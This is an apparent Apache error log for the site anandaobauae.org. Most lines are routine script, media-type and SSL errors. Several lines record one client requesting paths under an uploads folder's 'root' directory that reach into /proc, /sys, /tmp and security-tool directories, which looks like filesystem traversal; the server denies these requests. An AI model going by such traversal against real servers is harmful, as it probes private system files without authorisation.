[Fri Jul 17 09:45:16.055337 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/firmware/dmi/entries/4-1/length
[Fri Jul 17 09:45:16.071817 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.148765 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:16.182536 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.271940 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.354545 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.448376 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.512165 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:16.542855 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.627959 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.710767 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.784781 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:16.792768 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.882361 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:16.883304 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:16.989412 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:16.989881 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:17.056375 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0A06:00/subsystem/drivers/hpet/bind
[Fri Jul 17 09:45:17.078443 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:17.150144 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:17.174468 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:17.277802 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:17.332983 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:17.375010 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:17.423969 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:17.606380 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:17.697829 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:17.828839 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:17.829023 2026] [core:crit] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/imunify360/aibolit/failure-events/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/imunify360/aibolit/failure-events/' is executable
[Fri Jul 17 09:45:17.881011 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:17.884461 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:17.887677 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:49550] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:17.897142 2026] [core:crit] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/imunify360/aibolit/run/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/var/imunify360/aibolit/run/' is executable
[Fri Jul 17 09:45:18.064250 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:18.312866 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:18.334867 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:18.431328 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:18.466125 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:18.526506 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:18.548886 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:18.614388 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:18.631073 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:18.714902 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:18.797614 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:18.879891 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:18.962885 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:18.987975 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.046555 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.083845 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.110971 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.130101 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.212753 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.219539 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.295330 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.319254 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.382604 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.413533 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.422939 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.475097 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.544925 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.559899 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.623651 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.643158 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.713124 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.726855 2026] [proxy_fcgi:error] [pid 2050582:tid 2050582] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.820700 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.895782 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.906549 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:19.908166 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:19.940714 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:49632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:19.995339 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:20.017858 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:20.019134 2026] [security2:error] [pid 2034024:tid 2034024] [client 47.82.14.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:39/subsystem/ttyS2/subsystem/tty3/"] [unique_id "almsWI-0g_VSPeIeFN3J-gAAAAs"]
[Fri Jul 17 09:45:20.019160 2026] [security2:error] [pid 2034024:tid 2034024] [client 47.82.14.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:39/subsystem/ttyS2/subsystem/tty3/"] [unique_id "almsWI-0g_VSPeIeFN3J-gAAAAs"]
[Fri Jul 17 09:45:20.104865 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:20.116393 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:20.170876 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:20.209791 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:20.292512 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:20.352329 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:20.382870 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:20.469300 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:20.483741 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:20.625075 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:20.726727 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:20.962726 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:20.985407 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:20.992792 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:21.045020 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.086428 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:21.127740 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.171877 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:21.212245 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.263022 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:21.302160 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.384851 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.468120 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.535243 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:21.551744 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.634783 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.717179 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.800711 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.810348 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:21.899657 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:21.907299 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:21.990894 2026] [proxy_fcgi:error] [pid 2050572:tid 2050572] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:22.032760 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:22.073450 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:22.159960 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:22.178385 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:22.202673 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:22.243747 2026] [proxy_fcgi:error] [pid 2050581:tid 2050581] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:22.265356 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:22.293318 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:49206] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:22.326921 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.63.63.128:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:45:22.382658 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:22.546181 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:22.718429 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:22.902076 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:22.993164 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:23.023732 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:23.083443 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:23.265165 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:23.478318 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:23.539741 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:23.542455 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup14/subsystem/wakeup6/"] [unique_id "almsW-jME1mgqYZ5O94vUgAAAAE"]
[Fri Jul 17 09:45:23.542495 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup14/subsystem/wakeup6/"] [unique_id "almsW-jME1mgqYZ5O94vUgAAAAE"]
[Fri Jul 17 09:45:23.630276 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:23.903348 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:24.086240 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/acpi/drivers/hpet/unbind
[Fri Jul 17 09:45:24.267611 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:24.541161 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:24.633284 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:24.662925 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:24.676765 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:24.919105 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:24.973700 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:24.996488 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.115833 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.179444 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.270154 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/20250912-122117-aMPC5UnOjb2CTIepjeftGgAAAA4-file-MY37Ai
[Fri Jul 17 09:45:25.308455 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.319509 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:49290] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:25.361554 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.453024 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.543569 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.727521 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.817584 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:25.930902 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:26.004193 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:26.091478 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/platform/devices/serial8250/tty/ttyS1/uartclk
[Fri Jul 17 09:45:26.275952 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:26.462351 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:26.554966 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:26.735732 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/ec/uevent
[Fri Jul 17 09:45:26.956657 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:27.027274 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:27.208815 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:27.305033 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:27.422827 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:27.577960 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/xhci-hcd/uevent
[Fri Jul 17 09:45:27.765096 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:27.879485 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:28.038563 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:28.315560 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:28.480788 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:28.496832 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:28.513754 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:49344] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:28.589191 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:28.681096 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:28.771754 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/20251213-230045-aT2ixcOTgv8hotb_XvWPaAAAACs-file-FlTCz2
[Fri Jul 17 09:45:28.859124 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:49354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:29.325611 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:29.416461 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:29.507429 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:29.694703 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:29.824034 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:30.059110 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:30.241683 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/shpchp/uevent
[Fri Jul 17 09:45:30.332542 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:30.423053 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:30.515296 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:30.696766 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/alarmtimer/uevent
[Fri Jul 17 09:45:30.804924 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:30.988980 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:31.078292 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:31.170071 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/hpet/uevent
[Fri Jul 17 09:45:31.260406 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:31.260510 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
